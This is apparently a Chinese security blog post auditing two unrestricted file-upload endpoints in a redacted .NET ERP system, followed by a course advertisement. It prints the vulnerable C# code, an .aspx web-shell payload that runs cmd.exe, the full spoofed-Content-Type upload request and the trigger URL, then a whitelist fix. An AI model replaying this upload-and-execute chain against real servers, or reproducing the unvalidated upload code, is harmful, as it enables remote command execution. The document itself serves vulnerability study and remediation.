.NET 通过代码审计发现 ERP 系统中两个任意文件上传漏洞
.NET 通过代码审计发现 ERP 系统中两个任意文件上传漏洞
原创 专攻.NET安全的 dotNet安全矩阵 2025-02-08 01:35
文件上传功能是 Web 应用中非常重要且敏感的部分,如果缺乏完善的安全控制,极易成为攻击者利用的突破口。本文通过对 .NET 某 ERP 系统的两个文件上传功能进行代码审计与漏洞分析,揭示了潜在的任意文件上传风险及其危害。
01. 漏洞代码审计
在渗透测试中,
通过分析提供的代码,可以看到系统中存在两个文件上传接口:UploadFile 和 UploadPlanFile。这两个方法分别负责上传文件到 \InFiles\ 和 \InPlanFile\ 目录下。
1.1 Upload***File 方法
该方法在代码中,文件扩展名仅通过以下代码获取,并未对其进行任何安全校验,具体代码如下所示。
public UploadResult Upload***File() { UploadResult uploadResult = new UploadResult(); try { HttpPostedFile httpPostedFile = HttpContext.Current.Request.Files[0]; string str = HostingEnvironment.MapPath("~/"); string text = str + "\\In***Files\\"; if (!Directory.Exists(text)) { Directory.CreateDirectory(text); } uploadResult.filename = httpPostedFile.FileName; uploadResult.guid = Guid.NewGuid().ToString(); uploadResult.extension = Path.GetExtension(httpPostedFile.FileName); uploadResult.title = Path.GetFileNameWithoutExtension(httpPostedFile.FileName); uploadResult.filepath = "\\InFiles\\" + uploadResult.guid + uploadResult.extension; httpPostedFile.SaveAs(text + uploadResult.guid + uploadResult.extension); } return uploadResult;}
通过 Path.GetExtension 获得文件扩展名,并没有做任何过滤,
攻击者可以上传如 .aspx、.exe 等危险扩展名的文件,直接威胁到服务器的安全。
1.2 Upload***PlanFile 方法
该方法在代码中,
文件类型的安全性完全依赖于客户端,而服务端没有使用 Content-Type 或文件内容头信息进行校验,具体代码如下所示。
public UploadResult Upload***PlanFile(){ UploadResult uploadResult = new UploadResult(); try { HttpPostedFile httpPostedFile = HttpContext.Current.Request.Files[0]; string str = HostingEnvironment.MapPath("~/"); string text = str + "\\In***PlanFile\\"; if (!Directory.Exists(text)) { Directory.CreateDirectory(text); } uploadResult.filename = httpPostedFile.FileName; uploadResult.guid = Guid.NewGuid().ToString(); uploadResult.extension = Path.GetExtension(httpPostedFile.FileName); uploadResult.title = Path.GetFileNameWithoutExtension(httpPostedFile.FileName); uploadResult.filepath = "\\In***PlanFile\\" + uploadResult.guid + uploadResult.extension; httpPostedFile.SaveAs(text + uploadResult.guid + uploadResult.extension); } return uploadResult;}
通过 HttpContext.Current.Request.Files[0] 获取文件类型,攻击者可以伪
造合法的 Content-Type,比如 image/jpeg。
02. 漏洞实战复现
在渗透测试中,
攻击者可以上传如下 .aspx 文件,上传成功后,攻击者通过访问文件路径触发脚本,执行恶意命令。
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\whoami.txt"); %>
随后,利用 Burp 发送
HTTP POST 文件请求,服务端返回文件上传结果,包括文件路径、文件名、扩展名等信息,具体如下所示。
POST /api/cgI**/Upload***File HTTP/1.1Host: Content-Type: multipart/form-data; boundary=-----------------1111Content-Length: 178-------------------1111Content-Disposition: form-data; name="filedata"; filename="1.aspx"Content-Type: image/png<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\whoami.txt"); %>-------------------1111--
上传成功后,访问 http://target.com/In***Files/{guid}.aspx 即可触发恶意脚本,如下图所示。
修复建议
为解决上述问题,建议采取引入白名单机制,仅允许上传特定类型的文件,参考代码如下。
string[] allowedExtensions = { ".jpg", ".jpeg", ".png", ".pdf" };if (!allowedExtensions.Contains(uploadResult.extension.ToLower())){ throw new Exception("文件类型不受支持");}
将上传文件存储到非Web目录,隔离上传路径,只通过专用API访问等。
小结
综上
,文件上传功能的安全性至关重要,稍有不慎就可能导致严重的安全事故。通过上述代码审计和漏洞分析,我们发现了ERP系统中的风险点并提出了有效的修复建议。
03. NET代码审计学习
微软的.NET技术广泛应用于全球企业级产品,包括其知名的
Exchange
、
SharePoint
等,国内如
某友的Cloud
、
某通的T系列
、
某蝶的云产品
等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击,问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。
截至目前,星球已推出近
100节内容
(还在持续增加),包括
70个视频+30份PDF文档
。我们已将内容细致划分为15个分类,并随新漏洞类型的出现持续扩展。在这里您将学到包括但不限于以下漏洞类型。
详细的内容与结构,请参考下方的星球大纲版块,
包括但不限于OWASP十大漏洞类型,涉及SQL注入漏洞、文件上传下载漏洞、任意文件操作漏洞、XML外部实体注入漏洞、跨站脚本攻击漏洞、反序列化漏洞、命令执行漏洞、未授权和越权漏洞、第三方组件漏洞等等。
专属福利
-
学习模式: 代码审计知识星球
在线录播视频
+后续漏洞挖掘直播、内部专属交流社区答疑解惑; -
优享福利:加入.NET代码审计星球后
赠送永久
dot.Net安全基础入门星球。
欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。
星球门票后期价格随着内容和质量的不断沉淀会适当提高,
越早加入越划算!
现在加入星球可享受星球早鸟价,并可
领取100元优惠券
,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,
可扫描下方老师二维码了解更多详情。